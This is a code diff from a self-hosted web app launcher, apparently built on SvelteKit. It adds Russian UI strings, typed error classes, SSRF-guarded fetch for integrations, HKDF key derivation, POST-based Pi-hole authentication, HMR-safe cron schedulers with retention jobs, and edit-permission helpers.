"auth.invite_hint": "Вставьте токен приглашения, который отправил администратор. Вы перейдёте к регистрации.",
|
||||
"auth.invite_token": "Токен приглашения",
|
||||
"auth.invite_continue": "Продолжить",
|
||||
"auth.invite_banner_admin": "Вас пригласили присоединиться как",
|
||||
"auth.invite_banner_user": "Вас пригласили присоединиться.",
|
||||
"auth.invite_banner_locked": "Это приглашение привязано к",
|
||||
|
||||
"error.unauthorized_title": "Войдите, чтобы продолжить",
|
||||
"error.unauthorized_hint": "Сессия истекла. Войдите снова.",
|
||||
"error.forbidden_title": "У вас нет доступа",
|
||||
"error.forbidden_hint": "Попросите администратора предоставить доступ, если это ошибка.",
|
||||
"error.not_found_title": "Страница не найдена",
|
||||
"error.not_found_hint": "Страница не существует или была перемещена.",
|
||||
"error.rate_limited_title": "Слишком много запросов",
|
||||
"error.rate_limited_hint": "Подождите и попробуйте снова через минуту.",
|
||||
"error.generic_title": "Что-то пошло не так",
|
||||
"error.generic_hint": "Произошла неожиданная ошибка. Обновите страницу или вернитесь на главную.",
|
||||
"error.back_to_dashboard": "Назад на главную",
|
||||
"error.technical_details": "Технические детали",
|
||||
"error.board_not_found_title": "Доска не существует",
|
||||
"error.board_not_found_hint": "Возможно, она была удалена или неверный URL.",
|
||||
"error.board_forbidden_title": "У вас нет доступа к этой доске",
|
||||
"error.board_forbidden_hint": "Попросите владельца или администратора поделиться ею.",
|
||||
"error.board_generic_title": "Не удалось загрузить доску",
|
||||
"error.admin_forbidden_title": "Требуются права администратора",
|
||||
"error.admin_forbidden_hint": "У вашей учётной записи нет роли администратора. Попросите другого администратора предоставить доступ.",
|
||||
"error.admin_not_found_title": "Админ-страница не найдена",
|
||||
"error.admin_generic_title": "Не удалось загрузить админ-страницу",
|
||||
"board.title": "Доски",
|
||||
"board.boards_available": "Доступно досок: {count}",
|
||||
"board.new": "Новая доска",
|
||||
@@ -127,6 +172,10 @@
|
||||
"admin.users": "Пользователи",
|
||||
"admin.groups": "Группы",
|
||||
"admin.settings": "Настройки",
|
||||
"admin.invites": "Приглашения",
|
||||
"admin.password_resets": "Сброс паролей",
|
||||
"admin.tags": "Теги",
|
||||
"admin.audit_log": "Журнал аудита",
|
||||
"admin.user_management": "Управление пользователями",
|
||||
"admin.create_user": "Создать пользователя",
|
||||
"admin.new_user": "Новый пользователь",
|
||||
@@ -311,9 +360,14 @@
|
||||
"settings.saturation": "Насыщенность",
|
||||
"settings.background": "Эффект фона",
|
||||
"settings.language": "Язык",
|
||||
"settings.card_style": "Стиль карточек",
|
||||
"settings.save": "Сохранить настройки",
|
||||
"settings.saving": "Сохранение...",
|
||||
"settings.saved": "Настройки сохранены!",
|
||||
|
||||
"card_style.solid": "Сплошной",
|
||||
"card_style.glass": "Стекло",
|
||||
"card_style.outline": "Контур",
|
||||
"settings.bookmarklet_title": "Быстрое добавление (букмарклет)",
|
||||
"settings.bookmarklet_instructions": "Перетащите кнопку ниже на панель закладок браузера. При посещении любой страницы нажмите её, чтобы быстро добавить сайт в App Launcher.",
|
||||
"settings.bookmarklet_drag": "Добавить в Launcher",
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
/**
|
||||
* Typed error classes for server-side service layer.
|
||||
* Route handlers can `instanceof` to map them to HTTP responses without
|
||||
* substring-matching error messages.
|
||||
*/
|
||||
|
||||
export class AppError extends Error {
|
||||
readonly statusCode: number;
|
||||
readonly code: string;
|
||||
constructor(message: string, statusCode: number, code: string) {
|
||||
super(message);
|
||||
this.name = 'AppError';
|
||||
this.statusCode = statusCode;
|
||||
this.code = code;
|
||||
}
|
||||
}
|
||||
|
||||
export class NotFoundError extends AppError {
|
||||
constructor(message = 'Resource not found') {
|
||||
super(message, 404, 'NOT_FOUND');
|
||||
this.name = 'NotFoundError';
|
||||
}
|
||||
}
|
||||
|
||||
export class ValidationError extends AppError {
|
||||
constructor(message = 'Invalid input') {
|
||||
super(message, 400, 'VALIDATION_ERROR');
|
||||
this.name = 'ValidationError';
|
||||
}
|
||||
}
|
||||
|
||||
export class PermissionError extends AppError {
|
||||
constructor(message = 'Permission denied') {
|
||||
super(message, 403, 'PERMISSION_DENIED');
|
||||
this.name = 'PermissionError';
|
||||
}
|
||||
}
|
||||
|
||||
export class UnauthorizedError extends AppError {
|
||||
constructor(message = 'Authentication required') {
|
||||
super(message, 401, 'UNAUTHORIZED');
|
||||
this.name = 'UnauthorizedError';
|
||||
}
|
||||
}
|
||||
|
||||
export class ConflictError extends AppError {
|
||||
constructor(message = 'Resource conflict') {
|
||||
super(message, 409, 'CONFLICT');
|
||||
this.name = 'ConflictError';
|
||||
}
|
||||
}
|
||||
|
||||
export class RateLimitError extends AppError {
|
||||
constructor(message = 'Too many requests') {
|
||||
super(message, 429, 'RATE_LIMITED');
|
||||
this.name = 'RateLimitError';
|
||||
}
|
||||
}
|
||||
|
||||
export class IntegrationError extends AppError {
|
||||
constructor(message = 'Upstream integration failed') {
|
||||
super(message, 502, 'INTEGRATION_ERROR');
|
||||
this.name = 'IntegrationError';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Map any thrown value to {status, message} for route responses.
|
||||
* Hides internal messages in production for non-AppError throws.
|
||||
*/
|
||||
export function toHttpError(err: unknown): { status: number; message: string; code?: string } {
|
||||
if (err instanceof AppError) {
|
||||
return { status: err.statusCode, message: err.message, code: err.code };
|
||||
}
|
||||
if (err instanceof Error) {
|
||||
// Last-ditch: treat "not found" messages as 404 for back-compat with services
|
||||
// that still throw plain Error('… not found').
|
||||
if (/not found/i.test(err.message)) {
|
||||
return { status: 404, message: err.message, code: 'NOT_FOUND' };
|
||||
}
|
||||
}
|
||||
const message =
|
||||
process.env.NODE_ENV === 'production'
|
||||
? 'Internal server error'
|
||||
: err instanceof Error
|
||||
? err.message
|
||||
: 'Internal server error';
|
||||
return { status: 500, message, code: 'INTERNAL' };
|
||||
}
|
||||
@@ -1,30 +1,34 @@
|
||||
const DEFAULT_TIMEOUT_MS = 10_000;
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
import { safeFetch, type SafeResponse } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
const DEFAULT_TIMEOUT_MS = DEFAULTS.REMOTE_FETCH_DEFAULT_TIMEOUT_MS;
|
||||
|
||||
/**
|
||||
* SSRF-guarded, timeout-bounded, response-size-capped fetch for integrations.
|
||||
* Drop-in replacement for the previous bare `fetch` — returns a SafeResponse
|
||||
* whose `.json()`/`.text()` methods refuse to materialize bodies over the
|
||||
* configured cap.
|
||||
*/
|
||||
export async function fetchWithTimeout(
|
||||
url: string,
|
||||
options?: RequestInit & { timeout?: number }
|
||||
): Promise<Response> {
|
||||
const timeout = options?.timeout ?? DEFAULT_TIMEOUT_MS;
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), timeout);
|
||||
|
||||
options?: RequestInit & { timeout?: number; trusted?: boolean }
|
||||
): Promise<SafeResponse> {
|
||||
const { timeout, trusted, ...rest } = options ?? {};
|
||||
try {
|
||||
const response = await fetch(url, {
|
||||
...options,
|
||||
signal: controller.signal,
|
||||
return await safeFetch(url, {
|
||||
...rest,
|
||||
timeoutMs: timeout ?? DEFAULT_TIMEOUT_MS,
|
||||
trusted,
|
||||
headers: {
|
||||
'User-Agent': 'WebAppLauncher/1.0',
|
||||
...options?.headers
|
||||
...(rest.headers as Record<string, string> | undefined)
|
||||
}
|
||||
});
|
||||
return response;
|
||||
} catch (err) {
|
||||
if (err instanceof DOMException && err.name === 'AbortError') {
|
||||
throw new Error(`Integration request timed out after ${timeout}ms`);
|
||||
throw new Error(`Integration request timed out after ${timeout ?? DEFAULT_TIMEOUT_MS}ms`);
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { fetchWithTimeout } from '../base.js';
|
||||
import type { SafeResponse } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
export interface DelugeTorrent {
|
||||
readonly name: string;
|
||||
@@ -34,7 +35,7 @@ async function rpcCall(
|
||||
params: unknown[],
|
||||
id: number,
|
||||
cookie?: string
|
||||
): Promise<Response> {
|
||||
): Promise<SafeResponse> {
|
||||
const headers: Record<string, string> = { 'Content-Type': 'application/json' };
|
||||
if (cookie) {
|
||||
headers['Cookie'] = cookie;
|
||||
@@ -50,7 +51,7 @@ async function rpcCall(
|
||||
return res;
|
||||
}
|
||||
|
||||
function extractCookie(res: Response): string {
|
||||
function extractCookie(res: SafeResponse): string {
|
||||
const setCookie = res.headers.get('set-cookie');
|
||||
if (!setCookie) return '';
|
||||
const match = setCookie.match(/^([^;]+)/);
|
||||
@@ -60,7 +61,7 @@ function extractCookie(res: Response): string {
|
||||
export async function authenticate(appUrl: string, password: string): Promise<string> {
|
||||
const url = rpcUrl(appUrl);
|
||||
const res = await rpcCall(url, 'auth.login', [password], 1);
|
||||
const body = await res.json();
|
||||
const body = (await res.json()) as { result?: boolean };
|
||||
|
||||
if (!body.result) {
|
||||
throw new Error('Deluge authentication failed — invalid password');
|
||||
|
||||
@@ -1,17 +1,16 @@
|
||||
import { createCipheriv, createDecipheriv, randomBytes, createHash } from 'crypto';
|
||||
import { env } from '$env/dynamic/private';
|
||||
import { createCipheriv, createDecipheriv, randomBytes, hkdfSync } from 'crypto';
|
||||
import { requireIntegrationEncryptionKey } from '$lib/server/utils/env.js';
|
||||
|
||||
const ALGORITHM = 'aes-256-gcm';
|
||||
const IV_LENGTH = 12;
|
||||
const KEY_LENGTH = 32;
|
||||
const SALT = Buffer.from('web-app-launcher::integration-encryption::v1', 'utf8');
|
||||
const INFO = Buffer.from('aes-256-gcm-key', 'utf8');
|
||||
|
||||
function getKey(): Buffer {
|
||||
const keySource = env.INTEGRATION_ENCRYPTION_KEY ?? env.JWT_SECRET ?? '';
|
||||
if (!keySource) {
|
||||
throw new Error(
|
||||
'No encryption key available. Set INTEGRATION_ENCRYPTION_KEY or JWT_SECRET.'
|
||||
);
|
||||
}
|
||||
return createHash('sha256').update(keySource).digest();
|
||||
const keySource = requireIntegrationEncryptionKey();
|
||||
const derived = hkdfSync('sha256', keySource, SALT, INFO, KEY_LENGTH);
|
||||
return Buffer.from(derived);
|
||||
}
|
||||
|
||||
export function encrypt(plaintext: string): string {
|
||||
@@ -34,7 +33,7 @@ export function decrypt(encryptedText: string): string {
|
||||
const encrypted = Buffer.from(parts[2], 'hex');
|
||||
const decipher = createDecipheriv(ALGORITHM, key, iv);
|
||||
decipher.setAuthTag(authTag);
|
||||
return decipher.update(encrypted) + decipher.final('utf8');
|
||||
return Buffer.concat([decipher.update(encrypted), decipher.final()]).toString('utf8');
|
||||
}
|
||||
|
||||
export function tryDecrypt(encryptedText: string | null | undefined): string | null {
|
||||
|
||||
@@ -19,7 +19,7 @@ function formatRelativeTime(dateStr: string): string {
|
||||
|
||||
export function toRecentCommits(
|
||||
commits: readonly GiteaCommit[],
|
||||
repoName: string
|
||||
_repoName: string
|
||||
): ListData {
|
||||
return {
|
||||
items: commits.map((c) => {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { fetchWithTimeout } from '../base.js';
|
||||
import type { SafeResponse } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
export interface NpmProxyHost {
|
||||
readonly id: number;
|
||||
@@ -75,7 +76,7 @@ async function authenticatedFetch(
|
||||
token: string,
|
||||
email: string,
|
||||
password: string
|
||||
): Promise<Response> {
|
||||
): Promise<SafeResponse> {
|
||||
const baseUrl = buildBaseUrl(appUrl);
|
||||
const url = `${baseUrl}${path}`;
|
||||
|
||||
|
||||
@@ -29,22 +29,37 @@ function buildBaseUrl(appUrl: string): string {
|
||||
return `${appUrl.replace(/\/$/, '')}/admin/api.php`;
|
||||
}
|
||||
|
||||
export async function fetchSummary(appUrl: string, apiToken: string): Promise<PiholeSummary> {
|
||||
const url = `${buildBaseUrl(appUrl)}?summary&auth=${apiToken}`;
|
||||
const res = await fetchWithTimeout(url);
|
||||
/**
|
||||
* Pi-hole v5 API exposes both GET and POST. We use POST with a form-encoded
|
||||
* body so the API token is NOT logged in reverse-proxy access logs alongside
|
||||
* the URL. The token still hits the wire, of course — but it's no longer
|
||||
* persisted in every `/var/log/nginx/access.log` entry.
|
||||
*/
|
||||
async function postWithAuth(
|
||||
appUrl: string,
|
||||
params: Record<string, string>,
|
||||
apiToken: string
|
||||
): Promise<unknown> {
|
||||
const body = new URLSearchParams({ ...params, auth: apiToken });
|
||||
const res = await fetchWithTimeout(buildBaseUrl(appUrl), {
|
||||
method: 'POST',
|
||||
body: body.toString(),
|
||||
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
|
||||
});
|
||||
if (!res.ok) {
|
||||
throw new Error(`Pi-hole API returned ${res.status}`);
|
||||
}
|
||||
return res.json();
|
||||
}
|
||||
|
||||
export async function fetchSummary(appUrl: string, apiToken: string): Promise<PiholeSummary> {
|
||||
const data = (await postWithAuth(appUrl, { summary: '' }, apiToken)) as PiholeSummary;
|
||||
return data;
|
||||
}
|
||||
|
||||
export async function fetchTopItems(appUrl: string, apiToken: string): Promise<PiholeTopItems> {
|
||||
const url = `${buildBaseUrl(appUrl)}?topItems=10&auth=${apiToken}`;
|
||||
const res = await fetchWithTimeout(url);
|
||||
if (!res.ok) {
|
||||
throw new Error(`Pi-hole API returned ${res.status}`);
|
||||
}
|
||||
return res.json();
|
||||
const data = (await postWithAuth(appUrl, { topItems: '10' }, apiToken)) as PiholeTopItems;
|
||||
return data;
|
||||
}
|
||||
|
||||
export async function fetchAllQueries(
|
||||
@@ -52,11 +67,8 @@ export async function fetchAllQueries(
|
||||
apiToken: string,
|
||||
count = 100
|
||||
): Promise<readonly PiholeQueryEntry[]> {
|
||||
const url = `${buildBaseUrl(appUrl)}?getAllQueries=${count}&auth=${apiToken}`;
|
||||
const res = await fetchWithTimeout(url);
|
||||
if (!res.ok) {
|
||||
throw new Error(`Pi-hole API returned ${res.status}`);
|
||||
}
|
||||
const json = await res.json();
|
||||
return json.data ?? [];
|
||||
const data = (await postWithAuth(appUrl, { getAllQueries: String(count) }, apiToken)) as {
|
||||
data?: readonly PiholeQueryEntry[];
|
||||
};
|
||||
return data.data ?? [];
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { fetchWithTimeout } from '../base.js';
|
||||
import type { SafeResponse } from '$lib/server/utils/safeFetch.js';
|
||||
|
||||
export interface PlankaCard {
|
||||
readonly id: string;
|
||||
@@ -69,7 +70,7 @@ async function authenticatedFetch(
|
||||
token: string,
|
||||
email: string,
|
||||
password: string
|
||||
): Promise<Response> {
|
||||
): Promise<SafeResponse> {
|
||||
const baseUrl = buildBaseUrl(appUrl);
|
||||
const url = `${baseUrl}${path}`;
|
||||
|
||||
|
||||
@@ -3,7 +3,10 @@ import { createBackup, enforceRetention, getBackupSettings } from '$lib/server/s
|
||||
import { logAction } from '$lib/server/services/auditLogService.js';
|
||||
import { AuditAction } from '$lib/utils/constants.js';
|
||||
|
||||
let scheduledTask: cron.ScheduledTask | null = null;
|
||||
// HMR-safe singleton — see comment in healthcheckScheduler.ts.
|
||||
const g = globalThis as unknown as { __walBackupScheduler?: { task: cron.ScheduledTask | null } };
|
||||
if (!g.__walBackupScheduler) g.__walBackupScheduler = { task: null };
|
||||
const state = g.__walBackupScheduler;
|
||||
|
||||
/**
|
||||
* Start the backup scheduler with the given settings.
|
||||
@@ -14,7 +17,11 @@ export function startBackupScheduler(settings: {
|
||||
readonly backupCronExpression: string;
|
||||
readonly backupMaxCount: number;
|
||||
}): void {
|
||||
if (scheduledTask) {
|
||||
if (process.env.RUN_SCHEDULERS === 'false') {
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.task) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -26,7 +33,7 @@ export function startBackupScheduler(settings: {
|
||||
return;
|
||||
}
|
||||
|
||||
scheduledTask = cron.schedule(settings.backupCronExpression, async () => {
|
||||
state.task = cron.schedule(settings.backupCronExpression, async () => {
|
||||
try {
|
||||
const backup = await createBackup();
|
||||
enforceRetention(settings.backupMaxCount);
|
||||
@@ -47,9 +54,9 @@ export function startBackupScheduler(settings: {
|
||||
* Stop the backup scheduler.
|
||||
*/
|
||||
export function stopBackupScheduler(): void {
|
||||
if (scheduledTask) {
|
||||
scheduledTask.stop();
|
||||
scheduledTask = null;
|
||||
if (state.task) {
|
||||
state.task.stop();
|
||||
state.task = null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,10 +78,12 @@ export function restartBackupScheduler(settings: {
|
||||
* Call this at server startup.
|
||||
*/
|
||||
export async function initBackupScheduler(): Promise<void> {
|
||||
if (process.env.RUN_SCHEDULERS === 'false') return;
|
||||
try {
|
||||
const settings = await getBackupSettings();
|
||||
startBackupScheduler(settings);
|
||||
} catch {
|
||||
// Swallow errors — backup scheduler is non-critical
|
||||
} catch (err) {
|
||||
|
||||
console.warn('[backup] initBackupScheduler failed:', err);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,28 +3,40 @@ import { checkAllApps, pruneOldStatuses } from '$lib/server/services/healthcheck
|
||||
import { broadcastNotification } from '$lib/server/services/notificationService.js';
|
||||
import { pruneOldLogs } from '$lib/server/services/auditLogService.js';
|
||||
import * as appService from '$lib/server/services/appService.js';
|
||||
import { AppStatusValue, NotificationEvent } from '$lib/utils/constants.js';
|
||||
import { metricRegistry, Counters } from '$lib/server/services/metricsService.js';
|
||||
import { prisma } from '$lib/server/prisma.js';
|
||||
import {
|
||||
AppStatusValue,
|
||||
NotificationEvent,
|
||||
DEFAULTS
|
||||
} from '$lib/utils/constants.js';
|
||||
|
||||
let scheduledTask: cron.ScheduledTask | null = null;
|
||||
let cleanupTask: cron.ScheduledTask | null = null;
|
||||
let auditPruneTask: cron.ScheduledTask | null = null;
|
||||
// Pin scheduler state on globalThis so SvelteKit/Vite HMR reloads of
|
||||
// hooks.server.ts don't spawn duplicate cron tasks. node-cron retains strong
|
||||
// refs to its tasks; without this guard each reload would multiply the workload.
|
||||
interface SchedulerGlobals {
|
||||
scheduled?: cron.ScheduledTask | null;
|
||||
cleanup?: cron.ScheduledTask | null;
|
||||
auditPrune?: cron.ScheduledTask | null;
|
||||
retention?: cron.ScheduledTask | null;
|
||||
previousStatuses?: Map<string, string>;
|
||||
}
|
||||
const g = globalThis as unknown as { __walSchedulers?: SchedulerGlobals };
|
||||
if (!g.__walSchedulers) g.__walSchedulers = {};
|
||||
const schedulers = g.__walSchedulers;
|
||||
if (!schedulers.previousStatuses) {
|
||||
schedulers.previousStatuses = new Map<string, string>();
|
||||
}
|
||||
const previousStatuses = schedulers.previousStatuses;
|
||||
|
||||
// Track previous status per app to detect transitions
|
||||
const previousStatuses = new Map<string, string>();
|
||||
let healthcheckInFlight = false;
|
||||
|
||||
/**
|
||||
* Check if a status transition warrants a notification.
|
||||
*/
|
||||
function getStatusChangeEvent(
|
||||
previousStatus: string | undefined,
|
||||
newStatus: string
|
||||
): string | null {
|
||||
if (!previousStatus) {
|
||||
return null; // First check — no transition
|
||||
}
|
||||
if (previousStatus === newStatus) {
|
||||
return null; // No change
|
||||
}
|
||||
if (!previousStatus) return null;
|
||||
if (previousStatus === newStatus) return null;
|
||||
|
||||
if (newStatus === AppStatusValue.OFFLINE && previousStatus !== AppStatusValue.OFFLINE) {
|
||||
return NotificationEvent.APP_OFFLINE;
|
||||
@@ -35,91 +47,147 @@ function getStatusChangeEvent(
|
||||
if (newStatus === AppStatusValue.DEGRADED && previousStatus !== AppStatusValue.DEGRADED) {
|
||||
return NotificationEvent.APP_DEGRADED;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the healthcheck scheduler.
|
||||
* Runs checkAllApps on a cron schedule (default: every 60 seconds).
|
||||
* Also starts an hourly cleanup job to prune old status records.
|
||||
* Triggers notifications when app status changes.
|
||||
*/
|
||||
export function startScheduler(cronExpression: string = '* * * * *'): void {
|
||||
if (scheduledTask) {
|
||||
async function runHealthcheckTick(): Promise<void> {
|
||||
if (healthcheckInFlight) {
|
||||
// Previous tick still running — skip to avoid stacking.
|
||||
return;
|
||||
}
|
||||
healthcheckInFlight = true;
|
||||
metricRegistry.incCounter(Counters.HEALTHCHECK_TOTAL);
|
||||
try {
|
||||
const results = await checkAllApps();
|
||||
const hadOffline = results.some((r) => r.status === AppStatusValue.OFFLINE);
|
||||
if (hadOffline) metricRegistry.incCounter(Counters.HEALTHCHECK_FAILED);
|
||||
|
||||
scheduledTask = cron.schedule(cronExpression, async () => {
|
||||
try {
|
||||
const results = await checkAllApps();
|
||||
for (const result of results) {
|
||||
const prevStatus = previousStatuses.get(result.appId);
|
||||
const event = getStatusChangeEvent(prevStatus, result.status);
|
||||
|
||||
// Check for status transitions and send notifications
|
||||
for (const result of results) {
|
||||
const prevStatus = previousStatuses.get(result.appId);
|
||||
const event = getStatusChangeEvent(prevStatus, result.status);
|
||||
|
||||
if (event) {
|
||||
// Fire-and-forget notification
|
||||
appService
|
||||
.findById(result.appId)
|
||||
.then((app) => {
|
||||
const statusLabel = result.status.charAt(0).toUpperCase() + result.status.slice(1);
|
||||
const message = `${app.name} is now ${statusLabel} (was ${prevStatus ?? 'unknown'})`;
|
||||
return broadcastNotification(result.appId, event, message);
|
||||
})
|
||||
.catch(() => {
|
||||
// Swallow notification errors
|
||||
});
|
||||
}
|
||||
|
||||
previousStatuses.set(result.appId, result.status);
|
||||
if (event) {
|
||||
appService
|
||||
.findById(result.appId)
|
||||
.then((app) => {
|
||||
const statusLabel =
|
||||
result.status.charAt(0).toUpperCase() + result.status.slice(1);
|
||||
const message = `${app.name} is now ${statusLabel} (was ${prevStatus ?? 'unknown'})`;
|
||||
return broadcastNotification(result.appId, event, message);
|
||||
})
|
||||
.catch((err) => {
|
||||
|
||||
console.warn('[healthcheck] notification dispatch failed:', err);
|
||||
});
|
||||
}
|
||||
} catch {
|
||||
// Swallow errors to prevent scheduler crash
|
||||
|
||||
previousStatuses.set(result.appId, result.status);
|
||||
}
|
||||
} catch (err) {
|
||||
|
||||
console.warn('[healthcheck] tick failed:', err);
|
||||
} finally {
|
||||
healthcheckInFlight = false;
|
||||
}
|
||||
}
|
||||
|
||||
async function pruneOrphanedStatuses(): Promise<void> {
|
||||
// Remove `previousStatuses` entries for apps that no longer have healthcheck
|
||||
// enabled or that were deleted, so the map stays bounded.
|
||||
const active = await prisma.app.findMany({
|
||||
where: { healthcheckEnabled: true },
|
||||
select: { id: true }
|
||||
});
|
||||
const activeIds = new Set(active.map((a) => a.id));
|
||||
for (const key of previousStatuses.keys()) {
|
||||
if (!activeIds.has(key)) previousStatuses.delete(key);
|
||||
}
|
||||
}
|
||||
|
||||
async function pruneAppClicks(): Promise<void> {
|
||||
const cutoff = new Date(
|
||||
Date.now() - DEFAULTS.APP_CLICK_RETENTION_DAYS * 24 * 60 * 60 * 1000
|
||||
);
|
||||
await prisma.appClick.deleteMany({ where: { clickedAt: { lt: cutoff } } });
|
||||
}
|
||||
|
||||
async function pruneNotifications(): Promise<void> {
|
||||
const cutoff = new Date(
|
||||
Date.now() - DEFAULTS.NOTIFICATION_RETENTION_DAYS * 24 * 60 * 60 * 1000
|
||||
);
|
||||
// Only delete READ notifications past retention; unread stay around.
|
||||
await prisma.notification.deleteMany({
|
||||
where: { readAt: { not: null }, sentAt: { lt: cutoff } }
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the healthcheck + retention schedulers. Idempotent.
|
||||
* Honours RUN_SCHEDULERS env var so horizontally-scaled setups can disable
|
||||
* cron in non-leader nodes.
|
||||
*/
|
||||
export function startScheduler(cronExpression: string = '* * * * *'): void {
|
||||
if (process.env.RUN_SCHEDULERS === 'false') return;
|
||||
if (schedulers.scheduled) return;
|
||||
|
||||
schedulers.scheduled = cron.schedule(cronExpression, () => {
|
||||
runHealthcheckTick().catch((err) => {
|
||||
console.warn('[healthcheck] runHealthcheckTick rejected:', err);
|
||||
});
|
||||
});
|
||||
|
||||
// Cleanup job: run every hour at minute 0
|
||||
cleanupTask = cron.schedule('0 * * * *', async () => {
|
||||
// Hourly retention sweep.
|
||||
schedulers.cleanup = cron.schedule('0 * * * *', async () => {
|
||||
try {
|
||||
await pruneOldStatuses();
|
||||
} catch {
|
||||
// Swallow errors to prevent scheduler crash
|
||||
await pruneOrphanedStatuses();
|
||||
} catch (err) {
|
||||
console.warn('[healthcheck] pruneOldStatuses failed:', err);
|
||||
}
|
||||
});
|
||||
|
||||
// Audit log pruning: run daily at midnight
|
||||
auditPruneTask = cron.schedule('0 0 * * *', async () => {
|
||||
// Daily AppClick / Notification cleanup at 02:00.
|
||||
schedulers.retention = cron.schedule('0 2 * * *', async () => {
|
||||
try {
|
||||
await pruneOldLogs(90); // Default 90 day retention
|
||||
} catch {
|
||||
// Swallow errors to prevent scheduler crash
|
||||
await pruneAppClicks();
|
||||
await pruneNotifications();
|
||||
} catch (err) {
|
||||
console.warn('[healthcheck] daily retention failed:', err);
|
||||
}
|
||||
});
|
||||
|
||||
// Run an initial check shortly after startup
|
||||
// Daily audit log pruning at midnight.
|
||||
schedulers.auditPrune = cron.schedule('0 0 * * *', async () => {
|
||||
try {
|
||||
await pruneOldLogs(DEFAULTS.AUDIT_LOG_RETENTION_DAYS);
|
||||
} catch (err) {
|
||||
console.warn('[healthcheck] pruneOldLogs failed:', err);
|
||||
}
|
||||
});
|
||||
|
||||
// Run an initial check shortly after startup.
|
||||
setTimeout(() => {
|
||||
checkAllApps().catch(() => {
|
||||
// Swallow initial check errors
|
||||
runHealthcheckTick().catch(() => {
|
||||
// already logged inside the tick
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the healthcheck scheduler and cleanup job.
|
||||
*/
|
||||
export function stopScheduler(): void {
|
||||
if (scheduledTask) {
|
||||
scheduledTask.stop();
|
||||
scheduledTask = null;
|
||||
if (schedulers.scheduled) {
|
||||
schedulers.scheduled.stop();
|
||||
schedulers.scheduled = null;
|
||||
}
|
||||
if (cleanupTask) {
|
||||
cleanupTask.stop();
|
||||
cleanupTask = null;
|
||||
if (schedulers.cleanup) {
|
||||
schedulers.cleanup.stop();
|
||||
schedulers.cleanup = null;
|
||||
}
|
||||
if (auditPruneTask) {
|
||||
auditPruneTask.stop();
|
||||
auditPruneTask = null;
|
||||
if (schedulers.auditPrune) {
|
||||
schedulers.auditPrune.stop();
|
||||
schedulers.auditPrune = null;
|
||||
}
|
||||
if (schedulers.retention) {
|
||||
schedulers.retention.stop();
|
||||
schedulers.retention = null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
import { prisma } from '$lib/server/prisma.js';
|
||||
import { checkPermission } from '$lib/server/services/permissionService.js';
|
||||
import { EntityType, PermissionLevel, UserRole } from '$lib/utils/constants.js';
|
||||
import { NotFoundError, PermissionError } from '$lib/server/errors.js';
|
||||
|
||||
interface AuthUser {
|
||||
readonly id: string;
|
||||
readonly role: 'admin' | 'user';
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the user can edit (or delete) an App. Admins always pass. Otherwise
|
||||
* the user must be the creator OR hold an EDIT-or-higher permission on the App.
|
||||
*/
|
||||
export async function requireAppEdit(user: AuthUser, appId: string): Promise<void> {
|
||||
if (user.role === UserRole.ADMIN) return;
|
||||
|
||||
const app = await prisma.app.findUnique({
|
||||
where: { id: appId },
|
||||
select: { createdById: true }
|
||||
});
|
||||
if (!app) throw new NotFoundError(`App not found: ${appId}`);
|
||||
|
||||
if (app.createdById && app.createdById === user.id) return;
|
||||
|
||||
const result = await checkPermission(EntityType.APP, appId, user.id, PermissionLevel.EDIT);
|
||||
if (!result.hasPermission) {
|
||||
throw new PermissionError('You do not have permission to modify this app');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the user can edit a Board (and by extension its sections/widgets).
|
||||
*/
|
||||
export async function requireBoardEdit(user: AuthUser, boardId: string): Promise<void> {
|
||||
if (user.role === UserRole.ADMIN) return;
|
||||
|
||||
const board = await prisma.board.findUnique({
|
||||
where: { id: boardId },
|
||||
select: { createdById: true }
|
||||
});
|
||||
if (!board) throw new NotFoundError(`Board not found: ${boardId}`);
|
||||
|
||||
if (board.createdById && board.createdById === user.id) return;
|
||||
|
||||
const result = await checkPermission(EntityType.BOARD, boardId, user.id, PermissionLevel.EDIT);
|
||||
if (!result.hasPermission) {
|
||||
throw new PermissionError('You do not have permission to modify this board');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a section -> board id, then check board edit permission.
|
||||
*/
|
||||
export async function requireSectionEdit(user: AuthUser, sectionId: string): Promise<string> {
|
||||
const section = await prisma.section.findUnique({
|
||||
where: { id: sectionId },
|
||||
select: { boardId: true }
|
||||
});
|
||||
if (!section) throw new NotFoundError(`Section not found: ${sectionId}`);
|
||||
await requireBoardEdit(user, section.boardId);
|
||||
return section.boardId;
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a widget -> section -> board id, then check board edit permission.
|
||||
*/
|
||||
export async function requireWidgetEdit(user: AuthUser, widgetId: string): Promise<string> {
|
||||
const widget = await prisma.widget.findUnique({
|
||||
where: { id: widgetId },
|
||||
select: { section: { select: { boardId: true } } }
|
||||
});
|
||||
if (!widget) throw new NotFoundError(`Widget not found: ${widgetId}`);
|
||||
await requireBoardEdit(user, widget.section.boardId);
|
||||
return widget.section.boardId;
|
||||
}
|
||||
@@ -1,14 +1,60 @@
|
||||
import { PrismaClient } from '@prisma/client';
|
||||
import { validateServerEnv } from './utils/env.js';
|
||||
|
||||
